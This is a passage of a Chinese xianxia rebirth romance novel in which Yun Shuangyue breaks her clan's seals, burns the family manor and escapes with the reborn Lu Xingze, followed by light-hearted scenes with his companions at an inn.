又是“苛哒”一声,剩下的傀儡也带着簪子慢慢变得透明,消失。
看着这番场景,云霜月和老宅傀儡的前缘,竟这般轻松了却了。
随后她就抬起头,和面前云氏预言箴眼直直对上
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。
此时云霜月的头发失去了簪子的支撑,漆黑的长发垂落在身侧,身后灌进的风将她的发丝不断吹到苍白的脸颊旁,两种色彩对比强烈,衬得唇边红痣愈发鲜妍,如同血珠滴落在玉盘之上。
她咳嗽两声,手动了动想抬起去摸头上的簪子,却想起那根簪子早就随傀儡一同消散了。
可这上面的禁制需要用她的血才能破开。
环顾四周,纳入眼底的皆是些圆钝的物品,唯一她身上带出来的锋利物体也在刚刚用掉,没办法划开她的手指。
寻常女子多珠翠金钗,可云霜月一向素净,并不喜欢佩戴饰品,通常插一根簪子能挽起头发就足够。
相反陆行则才喜欢戴着各种各样的饰品,头发上、耳朵上、脖子上……能出现饰品的地方通通都有。想要利器从他那随手一顺就行,一个不行还能换一个。
不过现在的云霜月可顺不到,她只能举起手将手指凑到嘴边,打算就直接咬开。
但当目光看向自己面前的手时却顿住了。
眼前的手上没有她回到老宅取走阴阳命珠时,被戒律剑所伤留下的伤口。
戒律剑。
一幕幕关于它的记忆如同话本的绘图,在云霜月的脑海中翻过。
从她牙牙学语到蹒跚学步,再到如今这般模样,戒律剑始终悬在她的头顶,评判她是否违背家训。
可云氏的家训密密麻麻,幼年的云霜月想要记下来,无异于井底的青蛙想要记下天空中所有的星星。跪坐时偶尔弯下的腰,吃饭时偶尔碰到的碗壁,就连说话时某句话中的一个字,都会被此剑的剑气一遍遍划到她身上,直到她彻底记下规矩为止。
要说真的无怨无恨,心中没有半点起伏那肯定是假的。
云霜月也是人,活生生的人。
能忍耐戒律剑冰冷无情的伤害并不是天生的,只是小时候泪眼婆娑的云霜月发现说出疼痛并不能改变任何事情,于是沉默着到最后,也只能习惯这种痛意了。
但是此时,云霜月看着自己的手,笑了一下。
她回想了一下陆行则每次骂云氏丧心病狂不做人的那些话,随便挑了一句,学陆行则的样子,顺着心意对四周就这么直接说了出来。
几乎瞬间的事,一道剑光破开空气直朝着面笑着的云霜月过来,甚至带起了一股气流将云霜月的头发都吹到后头,露出那张月中聚雪的面容上嵌着的明亮眼睛。
衣袂翩飞间云霜月顺势举起手,让那剑光落到手指上,刹那间就破开一道口子,鲜血涌出。
这不就有了?
她难得带有些少女意气,那段缺失的自由,在此刻好像回来停在了云霜月身上一瞬。
云霜月用戒律剑所得鲜血绘制了一个阵法在箴眼上,伴随着血液慢慢被吸收,代表着箴眼的雕塑开始剧烈震颤,一条条裂纹蔓延开来,直到“砰!”的一声碎开,雕塑整个碎掉,云氏最大的那道禁制才算解开。
至于其他还在云霜月身上的禁制.......
她望向身后,眯了眯眼。
此时天边慢慢泛起了一点金光,天色微明。云霜月算了算陆行则来的时间,转身离开祠堂。
随着厚重的大门再次关闭,堂内的一切也都被尘封进云霜月身后。
5. 今生缘
云霜月最后回到了自己房间,将身上的祭袍脱下。
她扯下缠绕在脖颈上的绸缎,换了一身衣服后又将散落的头发重新挽起。
见一旁放着铜镜,倒也像爱俏的少女似的左右照两下,随后反应过来自己干了什么,有些不自在地轻咳一下。
在确认没有落下什么后,云霜与拿上和陆行则的婚帖推门而出。
不知道云氏使了什么手段,婚帖上有着陆行则与云霜月二人的魂契。要知道在修真界的所有契约之中,魂契对契约者影响最深,如有违契者,会直接受到天雷的惩罚。
云霜月拿上此物的原因不为别的,就是她需要让现在还不认识她的陆行则,带她离开云氏。
婚帖上的魂契波动陆行则可以感应到,他不会轻举妄动,否则对于这种贸然的要求,云霜月不相信他会答应。
毕竟这个时候的陆行则,可不像他长的那样整天笑眯眯的好相处。
当年的他来到云氏第一天莫名其妙应下婚约,结果第二天在云氏客房醒来听到外面锣鼓喧天,推开门发现到处是一片喜庆的红色。
陆行则他不解,他迷茫,他抓住了杵在门口当门神的小厮问:“这什么情况,你们云氏还有别人成亲吗?”
怀疑难不成这云氏真身是什么修真界婚介所。
结果那小厮面无表情,瘫着一张脸跟念台词似的说道:“并没有别人,今日就只有您成亲。”
“?”陆行则懵了。
结婚?
那他这个当事人怎么不知道。
导致陆行则对这自作主张赶鸭子上架的云氏颇为恼火,直到晚上见到房间里的云霜月气也没消。
女人穿着火红的嫁衣,脸上却和那小厮一样的冰冷棺材脸,跟复制粘贴一样,丁点表情也没有。
陆行则等了半响,才听见那人幽幽启唇,连名带姓喊他名字,问他今年几岁。
他一肚子火没地撒,语气不好道:“生理年龄十七,心理年龄有个五千多岁。”然后仰头自顾自喝下交杯酒看向她:“够格撕开你裹了那么久的尸布了吗?”
见她还是一副波澜不惊的样子,连眼神都没有变,陆行则轻嗤一声,颇感无趣似的翻窗跑了。
留下一扇大开的窗朝屋内吹冷风,算作报复。
其实那时是陆行则见云霜月的第二面,却是云霜月见陆行则的第三面。
她早在陆行则刚来到云氏,因为周围大雾而迷路乱转悠的时候就见到他了。
然而陆行则还以为是她刚巧碰上他,才为其引路的。
其实云霜月在走廊观察了他很久。
那时的陆行则穿着一袭红白孔雀纹锦衣鲜亮无比,宽肩窄腰,偏偏还生的高大,直直杵在那一片暗沉的雾气中,好像一大团横冲直撞的火焰要焚烧尽周围的漆黑。
腰间系着白杏色荔枝纹锦带,上面缀着大大小小新旧不一的饰品,里面看着最为昂贵的玉佩却被可怜兮兮地挤到一边。
即使云氏阳光如此稀薄,这个少年也如同闯入的棱镜,将外界光线折射成七彩的光斑带入黑白肃穆的老宅。
他向前走动时会带动身上那堆饰品,由各种材料折射成的不同光斑追逐,无意间照过被走廊遮住的云霜月,照过她裙裎下藏匿的戒律剑痕。
如今云霜月又回到了当初第一次见到陆行则的走廊,打算直接在此地等他出现。
不过随着云霜月一步步走近,不远处出现的人却让她愣住了。
怎么是……
陆行则?
按理说这个时间他不该出现。
可他偏偏就站在那。
还在试图从迷雾中找到出路,又是扔石子又是捡树枝的,嘴里嘀嘀咕咕一堆话。
这个场面,一如他们的初见。
——
说到重生,陆行则也是花了一会时间消化这个事情的。
他当时醒来还没睁眼,手下迷迷糊糊摸到了一片粗糙的地面,根本不是云霜月那的柔软被褥,他霎时清醒了。
日渐西沉,篝火已经被点燃,伴随着“噼里啪啦”的声响,陆行则顺着火光看清了周围人的脸。
姬芜珩,火曼儿,左邢……
脑子里冒出无数个疑问,最大的还是他们怎么会在这。
都是初出茅庐青涩版的,一口一个“陆哥”“陆行则”地叫着,重叠在一起的声音把他本就混乱的认知搅成一团。
要不是突然出现一个黑衣人,陆行则还不知道要懵多久。
“簌─!”
伴随着一道火红的流光朝陆行则袭来。
他从地上跃起躲开这道术法,一下就看到了黑袍人熟悉的面具。
这样的装扮如同一枚钥匙,开启了陆行则久远的记忆。
想起那时的他受到戒指里面老头的指引历练,寻得秘境至宝阴阳命珠正要返回。
谁知半路杀出一个黑袍人夺走命珠。他们追上黑袍人与之缠斗,被其带到了秘境出口。
刚到了那边,黑袍人突然如同被鬼上身了一样身体定在原地,脑袋却如同没有牵引一样缓缓转过来,朝着陆行则阴测测笑着,告诉他想要拿回命珠就必须去清淮云氏一趟。
随后没等陆行则反应,就自顾自口吐鲜血,倒在地上消失了。
所以.......
陆行则盯着这个重新出现的黑衣人,又想到同伴明显年轻了很多的脸庞。
马上想到了一个离谱但是完全符合眼下情况的猜测。
他不会重生了吧。?
眯了下暗金色的眼眸,陆行则拔出本命剑将准备逃跑的黑衣人钉在原地。
无视黑衣人的惨叫,动了下手腕运转灵力。
果然,随着重生他的灵力也回退到从前了,不然刚刚出鞘的剑也不至于才把那人钉在原地而已。
左邢被这突如其来的变故吓了一跳,不过他很快反应过来,走到那黑衣人旁边踹了他一脚:“喂!你是谁派来的,无缘无故攻击我们干什么。”
姬芜衡和火曼儿也走过去,一脸警惕地看着他。
只是那黑衣人没有理会他们,而是偏头将目光直直对上三人后面的陆行则。
接着又开始疯疯癫癫笑了起来,声音嘶哑难听:“哈哈......看来你已经知道自己的命运了。”
他说了句和前世截然不同的话后发出“嗬嗬”两声,目光深深看向陆行则的手腕,伴随着一口鲜血吐出,整个人就这样消散了。
“不是?他这就死了。”
左邢目瞪口呆,甚至手还向前伸了一下直接摸空了。
陆行则没有说话,他顺着黑衣人的目光看清了手腕上多出来的东西。
只有半颗的阴阳命珠。
“……”
他冷笑一声,看来这次的重生绝对和这玩意脱不了关系。
陆行则试图呼唤戒指里的老头,没有得到任何回应。
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看来只能先顺着上一世的发展,先去云氏一趟了。
结果到了云氏先被他们那的大雾弄迷路了。
“靠,怎么重生了还能在云霜月家迷路。”陆行则在这原地转了好一会,不爽道:“早知道前世多烧几次老宅了。”
他其实很早就来了,本来想早点见到云霜月,趁着还没完婚先把她劫走,结果从深夜到现在天都有些蒙蒙亮了,他还没找对地方。
陆行则对自己有些无语。
他有些烦躁地抓了下刘海,决定再用树枝转一下,转到哪个方向就走哪。
就在刚准备蹲下捡起树枝的时候,他余光撇到一个模糊的白色人影朝自己扑来。
陆行则本能地抬手想召唤本命剑去挡,结果看清那人的脸后立刻停住,让人落到自己怀里后手腕翻转,将手掌落到了她的后腰,还勒紧了点怕她掉下去。
他瞳孔地震,刚想开口,结果脸侧感受到一股烫意。
“带我走。云氏的禁制已经被我解开,你现在可以御剑了。”只见云霜月将婚书按在他的脸侧,发烫的“云”字带有他魂契的牵引:“就现在!”
陆行则脑子还没反应过来,身体就下意识照着她的话去做了。
他单手抱着云霜月,想先把她放到自己的本命剑上,谁知背后突然传来巨大的爆破声让他来不及动作,直接就着这个姿势御剑而起。
“砰——!”几乎下一秒一根柱子就倒在了刚刚他们呆的地方。
声势浩大的爆炸带起了冲天火势,浓烟裹着火舌舔上老宅那些建筑,然后快速地将它们吞没。
迸溅的火星落到了陆行则的衣角,但他此刻没功夫管,锦衣灼穿的气味混着云霜月发间的香味,在他鼻腔里烧成滚烫的烙铁。
他感觉怀里的云霜月很轻,像一块随时会飘去的帕子,于是陆行则就将她抱得更紧。
不知为何他觉得自己心脏跳得好像有点快,像是要跳出自己的嗓子眼一样,竟叫喉咙有些发紧。
是烟雾太浓了吗?他有点想咳嗽了。
“咳咳——!”
哦,被云霜月抢先了。
陆行则就顺势盯着她,感觉有些恍惚,刚结婚时候的云霜月长什么样来着?
在他的记忆里已经有点模糊了。
他只记得云氏把云霜月养的一点都不好。
现在看来整个人瘦了很多,面容较之后来更无血色,连在这熊熊大火下都如同极北那永不停息的飞雪,难以融化。
他的目光挪到云霜月的手腕,霎时瞪大眼睛。
怎么会是.....
阴阳命珠。
一个猜测浮现在陆行则心头。
他攥紧云霜月的手。
只见他手腕上的那半颗阴阳命珠仿佛被一根无形的丝线拉扯般直直往云霜月手上靠去,随着一声清脆的玉器相撞声在脑海内响起,陆行则的命珠和云霜月手上的形成了完整的一个。
显然这个声音也在云霜月那响起了,因为命珠合并的那个瞬间,她飞速将视线从燃烧的老宅看向陆行则。
融合的阴阳命珠发出一团金光,照在他的脸上,云霜月在他们因为御剑而纠缠的发丝飞舞间,看到那双暗金色的眼睛直直看着她。
云霜月好像意识到什么,半晌,好像不可置信似的,她轻声唤了一声:“......小则?”
“嗯。”陆行则应了下来,回了句:“云霜月。”
6. 今生缘
叫出她名字的下一秒,陆行则就看见云霜月笑了。
她刚刚亲手启动爆破符的时候脸上都没什么表情,这时的嘴角却翘这么高。
云霜月伸手拽了拽陆行则的衣袖,情绪难得有这么大的起伏。
她想让他看看自己一步步亲手解决的老宅。
嗯……
陆行则一瞬间就意识到,此刻他是她的共犯。
因为只有重生的陆行则知道云霜月从不言说的痛苦,只有重生的他有资格欣赏和分享云霜月这一刻的轻松。
换做任何人都不行,就算当年刚遇到云霜月的陆行则本人来了,也不行。
祠堂的雕像被烈火推翻,鎏金烛台点燃了百本家规祖训。烟雾中飞旋的灰烬被风送向远方,好像也借着这场大火逃离了礼教枷锁。
火光中世界仿佛都在燃烧,但陆行则进入了静音的瞬间。
所有爆裂声消失,唯见云霜月用灵力在空中写了两个简体字“自由”,用温柔的目光看向他轻声道:“——是你教我写的第一个现代词。”
——
山脚下。
曙光初照,街上逐渐有行人开始出现。
与寻常喜欢往闹市凑的院落不同,整个云氏高悬在清淮城后方的群山之上。山麓连绵起伏,如同巨龙蜿蜒,将城内的热闹阻挡开来,独留云氏自己一块清净之地。
要想真正踏入云氏就得先通过专门的禁制,再爬上设于山上的千阶石梯才得以窥见这个庞大家族的一角。这样苛刻的条件摆在那,意思就是主人家不喜生人打扰。所以城中的百姓也识趣,都心照不宣地避开云氏门口这一带。
按理说此刻老宅的山脚下也该和往常一样冷清,但此刻却时不时响起吵吵嚷嚷的人声。
“欸,左邢你说陆哥到底干嘛去了,怎么还不回来?”火曼儿抬头看了眼天色,然后伸出脚踹了一下蹲在地上的人:“他大半夜上的山,现在天都快亮了。”
说出去的话没得到回应,火曼儿低头一看,发现左邢正拿着一个鸡腿啃地满嘴流油,完全不像认真听她说了什么的。
顿时感觉头上青筋暴起。
于是她左右扭了扭自己的脖子,视线瞄准左邢屁股,冷笑几下后用力一踹!
“啊——!”
听起来就痛苦的惨叫声响起。
“火曼儿你被魔教的人夺舍了吗!”左邢揉着自己受伤的部位,五官都疼地皱在了一起:“当初就不该答应门主陪你来下山历练。我现在哪里是你师兄啊,完全被你当沙包揍!”
“活该。谁让你不好好听我说话。”火曼儿用嫌弃的眼神扫视左邢:“天天抱着那堆吃的喝的,都快把自己吃成沙包了!”
“不是,火曼儿你什么眼神。老子这一堆都是肌肉好吗。”左邢控诉道。
“谁管你肌肉还是肥肉啊。”她翻了个白眼:“喂,我再问你一遍,你说陆行则为什么还没下来?”
“姑奶奶啊,你第一次和他行动,不了解他也正常。”左邢痛苦地捂着屁股,然后把鸡腿当成火曼儿咬一口泄愤:“总之,不用担心陆行则会有啥危险,他心眼多着呢。”
完成窝囊的报复后他吐出鸡骨头,补充一嘴:“万一到时候真出啥事情了,你只管自己跑就行。毕竟要是你出啥事了,师兄我才是真小命不保啊!”
他这个师妹今年是第一次离开宗门历练,作为门主的母亲不是很放心,于是就让正巧要下山历练的左邢顺便带着她,谁知半路遇上了陆行则,他们就一起行动了。
此前火曼儿从没有见过陆行则,但这人的名字几乎在修真界天骄的嘴里都出现过。
当年百盟大比特允散修参加,本想借机炫耀宗门子弟招揽人才,谁知横空出世了一个陆行则。当年的他就穿着一身乱七八糟的粗布麻衣前去,身上除了几个破布袋子就只有一把剑。
这么突兀的一个人扎进这群光鲜亮丽的弟子堆中,免不得对他一阵指指点点。
轮到他上场的时候,对面正是一个刚刚嘲笑过他的精英子弟,现场所有人都对这毫无悬念的一局感到兴致缺缺。谁知这人打量了一眼那个弟子,笑着吊儿郎当地对周围人说:“就这点实力吗?要不大家一起上吧。”
话音刚落,数百天骄的护体罡气在剑意里簌簌剥落,丹田深处道钟轰鸣——剑锋未至,道心已崩。
三尺秋水未出鞘,寒芒已碎百人剑。
寂静之中他举起手里的破剑,将剑尖对准对面,伴随着一道隐隐约约的龙吟灌入剑中。
剑骨铮鸣声里,日月无光。
随着光芒淡去,那名精英弟子径直瘫坐在擂台上,眼神颤抖着看向落到自己旁边的剑痕,冷汗直流。
经此一战后,陆行则声名大噪。
不过在见到陆行则本人时,火曼儿还是没能把面前这个整体笑眯眯一看就很无害的小白脸和那个天才剑修联系到一起。
加之陆行则后面一直在赶路来清淮城,路上除了把一个鬼鬼祟祟的黑衣人钉住,就再也没见他出过剑了。
所以火曼儿对左邢让她不要担心陆行则的话感到怀疑。
于是她转过身,朝一个白发人走去。
此人眉心一道红痕,风姿清越。
火曼儿见到姬芜珩第一眼,就对左邢说“他一看就比你靠谱。”
只是刚一走近,就见那男人眉头紧锁,声音凝重。
“不对,门口的禁制消失了。”
姬芜珩看向眼前高耸的大门,它由上等天权金髓剑木的制成,传闻这种木头由天雷轰击九九八十一下而不朽,修仙界大多数用这种木头来炼剑,如同云氏一样财大气粗用它来当门的还是第一次见。
而现在这种材料上被设下的大型禁制更是稀罕,一时间想要迅速破解极为困难。
他们一行人刚来到这的时候,只有陆行则一人被允许通过,其余人想要进去就仿佛被一堵透明的墙挡着,寸步难行。
但此时。
姬芜珩向前一步,畅通无阻地迈进了云氏。
禁制莫名其妙消失了。
火曼儿不傻,她显然也意识到了什么,瞪大眼刚要开口:“这......”
“砰——!”一阵巨大的爆破声就打断了她。
几乎瞬间,门前的三人都抬头朝声音的源头看去。
只见原本气派的云氏老宅不知为什么突然被巨大的火焰吞没,滚滚黑烟从上面不断冒出来。
“我靠,啥情况!”左邢看着远处的火光,心想陆行则不会真出事了吧。
像是听到他心中所想,左邢腰间挂着的传讯佩闪烁两下,从中传出了陆行则简短的声音:“我没事!你们现在先走。我马上来。”
“那你.....喂!”左邢刚准备追问陆行则的情况,结果通讯下一秒就被挂断了。
姬芜珩在此时走到他旁边召出本命剑,显然是听到了陆行则的话。
“既然知道他现在没事,我们就听陆行则的先走,具体情况等他追上来了再问也不迟。”他语调平稳,极为冷静地踩上剑身先一步飞去。
见他这样,左邢叫道:“死白毛,你怎么走的这么干脆!”
随即咬了咬牙,挣扎一番后也召唤出本命剑踩上。
他捏住火曼儿的后衣领,就这么把她拎着飞起来,去追前面的姬芜珩。
“左邢你是不是
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趁机报复我!放我下来,我自己能飞!”火曼儿在空中尖叫,这个姿势导致她看不到左邢的视角,只能盯着大火中的云氏离自己一点点远去。
“就你那三脚猫的飞剑技术能跟上我们才怪!老实点!”左邢怕这女人掉下去,手上的力道更重了。
感受到衣领的拉扯,火曼儿感觉自己没跑成就要被男人弄死了,她赶紧骂骂咧咧道:“你要勒死我吗!轻......欸?”
手下人突然不说话了,连挣扎的动作都停住了。
等下,不会真给这小姑奶奶勒晕了吧?!
吓到左邢赶紧低头看去,见人还好好的,虚惊一场:“你看啥呢话都不说了,给我吓一跳。”
“我好像看到一束金光.....是陆行则的灵力吗?”
听到这话,左邢放出神识一探,心放下大半:“对,就是他,我感受到陆行则的灵力波动了。”
“没想到他速度这么快就能追上来。”火曼儿发出惊叹:“这小白脸倒真有几番实力,看来他确实同传闻中那位天才一样。”
感受到情况安全后,左邢恢复了平时那贱样:“哈,你叫陆行则小白脸啊?”
他幸灾乐祸道:“不过这家伙确实长了张会骗人的脸,啧啧啧,勾的多少修真界的美人对他芳心暗许,可惜这小子身在福中不知福!对女人那叫一个无情啊——衣角都不让碰一下。”
没理会逼逼叨叨的左邢,火曼儿眯了眯眼,像是要努力看清什么似的。
随着剑上的人越来越近,她有些迟疑开口道:“.......若你刚刚说的那个不近女色的人真是陆行则,那现在他怀里怎么抱了个女人啊?”
“怀里抱了个女......女人?!”左邢反应过来火曼儿说了什么后大惊失色。
不是?
陆行则那家伙怎么会抱了一个女人出来。
难道我刚刚神识探查出错了,追上来的人不是陆行则。
那会是谁?!
难道是什么人窃取了传讯佩,伪装成陆行则。
修真界有不是没有这种手段。
越想越觉得可能,刚放下的心又因为火曼儿这句话提了起来。
他感觉额角慢慢沁出冷汗,默不作声地催动本命剑加速。
“嗖——!”
谁知旁边一下子就刮过一阵风,一个红色的身影踩着剑很快路过他旁边。
还送来一道嚣张又熟悉的声音:“左邢你看见我跑那么快做什么——不会刚刚在背后偷偷说我坏话了吧!”
嗯?
左邢霎地停住,看清是谁的背影后大大松了一口气。
他瞪了眼火曼儿,追上前面的陆行则后就是一股脑地说道:“你都不知道刚刚火曼儿把我吓一跳!我还以为追上来的不是你。”
“哦?”
结束和火曼儿大眼瞪小眼的对峙后,左邢朝陆行则转过来:“她居然说你怀里抱了一个女人,我当时就想那哪能是你啊!要我说历练结束后,就该让火曼儿这女人去治治眼.......”
待他看清陆行则的怀里是什么后,还没说完的话突然飘忽了起来:“或许我先要去治治眼睛。”
不是?
他没瞎啊,陆行则怀里怎么真有一个女人。
尽管看不清,左邢只知道此时那个女人双目紧闭,被陆行则以一个绝对包围的姿态拥着,好像昏睡过去了一样。
但那就是一个货真价实的女子。
左邢欲言又止,哽着脖子盯了陆行则半响,才冒出一句:“等和姬芜珩安全会和了再来审问你!”
陆行则咧嘴,露出他那副成天笑眯眯的欠打表情。
7. 今生缘
清淮城内。
虽然名字上清淮是一座城,但实际面积却比周边的一些小国还大。陆行则一行人御剑飞了一会后决定先在城中客栈休整,等云霜月醒来再出发。
将她安顿在客栈后,陆行则和姬芜珩出去采买接下来赶路要带的物资,顺便打探消息。
而火曼儿身为队伍里唯一的女人自然被留下来照顾云霜月,剩下的左邢也留在客栈保证她们安全。
毕竟陆行则前不久才炸了云氏在清淮的老宅,如今他们还没有出城,自然要提防有什么突发的危险。
“苛哒——苛”
客栈的房间内,火曼儿坐在床前的桌子上一手撑着脸颊,另一只手颇感无聊地摆弄桌上的茶杯。
在第九十九次将茶杯弄倒又摆正后,火曼儿真的有点坐不住了。
陆行则那家伙怎么还不回来!
干守着实在无聊,于是她顺势转了转眼睛,有些好奇地床上昏睡的女人看去。
其实第一眼看到云霜月并不觉得惊艳,修真界姿容绝艳的美人极多,床上的女人显然不属于其中。
嗯……
但她给人一种无法言说的感觉。
那几个词怎么说的来着?
雪胎梅骨,雯华若锦。
女人的五官并不张扬锐利,一切有颜色的部位都如同被清水濯洗过般寡淡。
皮肤在客栈窗口泄进来的阳光下白的几近透明,无端让火曼儿想起家乡那簇簇梨花,好似床上的人下一秒就要和飘落的花瓣那样消散了。
她和陆行则到底是什么关系啊,就那家伙抱她的样子,跟护着肉骨头的狗一样。
左邢还信誓旦旦说陆行则和这女人肯定是陌生人,并拿他和陆行则十几年的交情担保,陆行则身边根本就没出现过这女人。
火曼儿对此保留怀疑态度。
她这师兄比陆行则大了整整五岁,听说小时候就和陆行则认识了。
某一日玄天门门主,也就是她的母亲下界寻找一味炼丹的药材,正巧遇上了颇具慧根的左邢,万里都难挑一的仙缘就被他这么撞上。
赶紧收拾收拾上界修炼去了,临走前门主给了他几个传讯佩,以便他和下界联系。
其中一个传讯佩就给了当时的陆行则,左邢时不时给他说点门派趣事和修炼口诀啥的,陆行则之所以能修炼,还真有左邢的一份功劳。
不过谁也没想到陆行则修炼速度会这么快,原本左邢还在伤春悲秋和自己的好兄弟恐怕要十几年不得相见了,结果两年不到时间他兄弟就在百盟大比一战成名,直接踏入上界。
左邢天天吹嘘这件事情,火曼儿耳朵都快听地起茧子了。
现在陆行则抱回来一个女人的事让他惊掉下巴,好像碾碎了他对兄弟的认知一样。
火曼儿幸灾乐祸想到,说不定陆行则和他分开那两年,就同某个姑娘一见倾心私定终身了呢,留下他一个没女人缘的单生狗哈哈!
火曼儿想着想着就笑出声来,随后察觉到自己在哪时又赶紧嘘声。
但好像还是慢了一步,床上的女人睫毛颤动几下,好像要睁开眼了一样。
——
“云霜月,你不该问那些问题,去祠堂跪着吧。”
“云霜月,你就是这么对云氏的?”
“云霜月,云氏和你的牵扯不会就这么完了的。”
“云霜月......”
云霜月!
无数声音在云霜月混沌的脑内响起,伴随着一帧一帧的熟悉画面,最后定格在彻底被大火吞没的老宅。
然后一切的画面和声音又如同潮水般褪去,只留下一片虚无的漆黑。
云霜月感受到声音的响动,缓缓睁开眼睛。
先是一片模糊,黄的白的光斑无规则地运动,最后才在眼前组成清晰的景象。
入目是一块陌生的床顶,鼻尖可以闻到淡淡的香薰味。很寻常的味道,不会出错,一般客栈都会选用这种放在房间内。
耳边还有衣服布料摩擦的声音。
云霜月扶着头循声看去,一个穿着红色劲装的陌生小姑娘正捂着嘴巴,瞪大眼睛看着自己。
意识清晰了些,云霜月想起自己莫名其妙晕过去的上一秒还在和陆行则讲话,结果下一秒就眼前一黑,整个人彻底失去了意识。
她察觉到那个陌生女孩的身上并没有恶意,猜测应该是陆行则的伙伴。
果不其然,那小姑娘见云霜月看着自己,没几秒就意识到自己应该先报上姓名。
面对女人的目光,火曼儿下意识地挺直身子道:“我是火曼儿,是陆.....额,就是抱你出来的那个男的朋友。”看着云霜月弱不禁风的样子,她又补充道:“你放心,这里很安全,我没有恶意。”
云霜月见她这样温和地笑了一下,柔下嗓音回道:“你好,我是云霜月。”
“啊.....你好。”火曼儿挠挠头,干巴巴应了声后就不说话了。
两个人的氛围就这样在互通姓名后又沉寂下来。
她有些不知道说什么,云霜月一看年龄就和她相差很多,而火曼儿上一次接触这个年龄段的人还是她的老师。
即使老师严厉的面容和眼前这个女人和善的女人一点都不一样,火曼儿还是有种对老师刻在血脉里的畏惧。
但是想到云霜月的眼神她又觉得十分亲切,就好像她会哄着人灌下一勺勺蜜糖一样笑盈盈的。火曼儿就像馋嘴的小孩,本能对云霜月升起好感。
她顺利说服自己是为了缓和氛围,绝不是私心想亲近云霜月。于是火曼儿在沉默中朝云霜月看去:“嗯......我可以叫你霜月姐吗?”
看着她亮晶晶还带有一点试探的目光,云霜月依旧笑着点点头。
火曼儿接收到了这友好的信号,乐颠颠跑过去坐在云霜月床边,又想到她刚醒来可能口渴,还顺手倒了杯温水给云霜月递过来。
果然,云霜月结果茶盏后就立马凑到嘴边喝了。
一旁的火曼儿看着,想找点不冒犯的问题和姐姐开启话题,左思右想后带着点好奇问道:“霜月姐,你和陆行则以前认识吗?唔……就是那个抱你出来的男的。”
以前认识吗?
云霜月看着眼前这个年轻的小女孩,粉面桃腮,散发着活力的气息,想来应该和陆行则是同龄人。
问她和陆行则的关系。
视线挪到火曼儿红扑扑的脸颊,云霜月突然福至心灵。
这孩子是不是爱慕陆行则?
觉得自己猜到了什么,云霜月了然,确实是春心萌动的年纪。
于是她摩挲了一下喝空了的茶盏,思索几息后摇头道:“我与他,萍水相逢,无甚关系。”
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嘴里迟钝地泛起点涩意,或许是客栈的茶叶太苦罢。
为什么要这么说呢?
因为云霜月对上了火曼儿明媚澄澈的眼睛,那里倒映着窗外檐角悬挂的琉璃灯笼,将云氏十几年的仇怨尽数过滤成天真碎影。
远处坊市飘来的糕点甜香,云霜月眨了眨眼,想起陆行则翻出老宅给她带的零嘴。晨光勾勒出他尚未成熟的青涩轮廓──这般鲜活模样,不应该被烙上同云氏百般纠葛的痕迹。
前世万般种种,皆归于一纸婚书。
如今婚约未成,云霜月暂时离开了云氏,陆行则这一世也就不用履行契约了。
如今的他们之间,确实没有任何关系。
──
后面火曼儿又叽叽喳喳地黏着云霜月聊了很多,除了一开始关于陆行则那个问题,后面就再也没提起过他了。
到了晚饭时间,火曼儿带着云霜月下楼去客栈后院找左邢。
“来的路上他捉了三只五品玄灵鸡,这种鸡肉质那叫一个鲜美。晚饭就直接把这几只鸡烤来吃,霜月姐你一定要尝尝!”
云霜月就在旁边静静听着,时不时应下一声。
突然,耳边火曼儿的声音戛然而止。云霜月侧头一看,她正臭着脸对着前面的一个男子。
那男子站在准备烤鸡的火堆旁,一身腱子肉,此时一脸得意地看着火曼儿。
“我说什么来着,是不是不认识。”他端着一副胜利者的样子走过来,用胳膊肘子怼了一下火曼儿:“愿赌服输,交出来吧!”
火曼儿瞪了他一眼,拿出一袋灵石扔给他:“给老娘滚远点。”
“豁!大小姐大气啊。”左邢用手接住袋子摸了摸,把它塞到怀里后才转头看向云霜月:“这位姐姐醒啦,你叫我左邢就好。”
说着他把手上一只串起来但还没开始烤的鸡递给了云霜月,热情道:“今天我们吃这个,姐你就带着我师妹去火堆那烤就行了,要放什么香料自己加,就在旁边。”
云霜月也笑着朝他点点头,报上了自己的名字。
火曼儿迫不及待地拉着她在火堆旁坐下,还踹了一脚准备坐在她旁边的左邢,逼的他只能在云霜月的另一边坐下。
云霜月此时被这俩人围在中间,看到旁边一左一右两只烤鸡,再看了一眼自己手中的,有些迟疑问道:“……只有三只鸡的话,你们另外的朋友回来吃什么?”
一旁的左邢盯着马上要烤好的鸡肉,随口说:“别管他们,饿不死的。”玄灵鸡遇火不到十秒就可以熟了,如今阵阵香味飘来勾得左邢十分荡漾:“而且就陆行则那人,这种烤的东西他从来就不吃。”
火曼儿倒没他那个馋样,不过她眼神直勾勾地盯着云霜月手里那只:“霜月姐,我可以尝一口你的吗?”
见她这样,云霜月忍俊不禁,用手撕下一块最嫩的鸡肉想喂给她。
火曼儿也张口打算去接,没想到这时天降一片黑影!接着她的鸡肉就被劫走了。
“靠!谁……陆行则?!”火曼儿正打算破口大骂,一看罪魁祸首叼着鸡肉没理她。
云霜月没反应过来,她看着自己指尖被叼走的肉,往回拖了一下。
不是给你的。
但陆行则就睁着无辜的眼睛疑惑地看着她,嘴上还扯着肉往后轻轻拽两下不松开。
不是给我的吗?
8. 镜像镇墟
“他这人怎么回事?”
火曼儿身子向后仰,用眼神逼问左邢。
“我也不知道啊!”
左邢看到这一幕嘴里鸡肉都顾不上了,用疯狂抽搐的眼皮回答火曼儿。
就在二人你来我往的电波交流下,云霜月最先反应过来。
她立刻松开了手上的肉。
而陆行则就这么理所当然叼走了,丝毫没读懂眼下的情况。
前脚刚和旁人说与他不熟,后脚这个当事人就自己凑了上来。
幸亏云霜月年长稳得住,很快找补道:“想必这位就是陆公子了,多谢今日老宅相救。”说着晃了晃手里的烤鸡调侃道:“是还没适应多出了个人罢?想与同伴嬉闹错认成我了。”
“我......”陆行则想说没有啊,他就是看到鸡肉在云霜月手里才咬的。
但云霜月没给他机会,很快接了句话打断他:“陆公子来的正好,关于云氏我还有一些未尽事务需要同您商讨,可否借一步说话?”
一句话的空隙都没给陆行则留,直接把他架起来了。
面对她下意识地点了点头,陆行则后知后觉反应过来,发现想说什么也无从下口。
这时的云霜月已经起身,既然没什么话可以说了,那总要做点什么吧。
陆行则就想顺手把她的烤鸡拿上,万一她等会聊天聊饿了呢。
谁知云霜月起身第一件事就是把烤鸡温柔地递给火曼儿,叮嘱她慢点吃小心烫到。
见鬼了,以前怎么没发现火曼儿有这个本事,一天就能让个陌生人和她好成这样。
没来得及动作,云霜月就微微颔首示意他跟上。
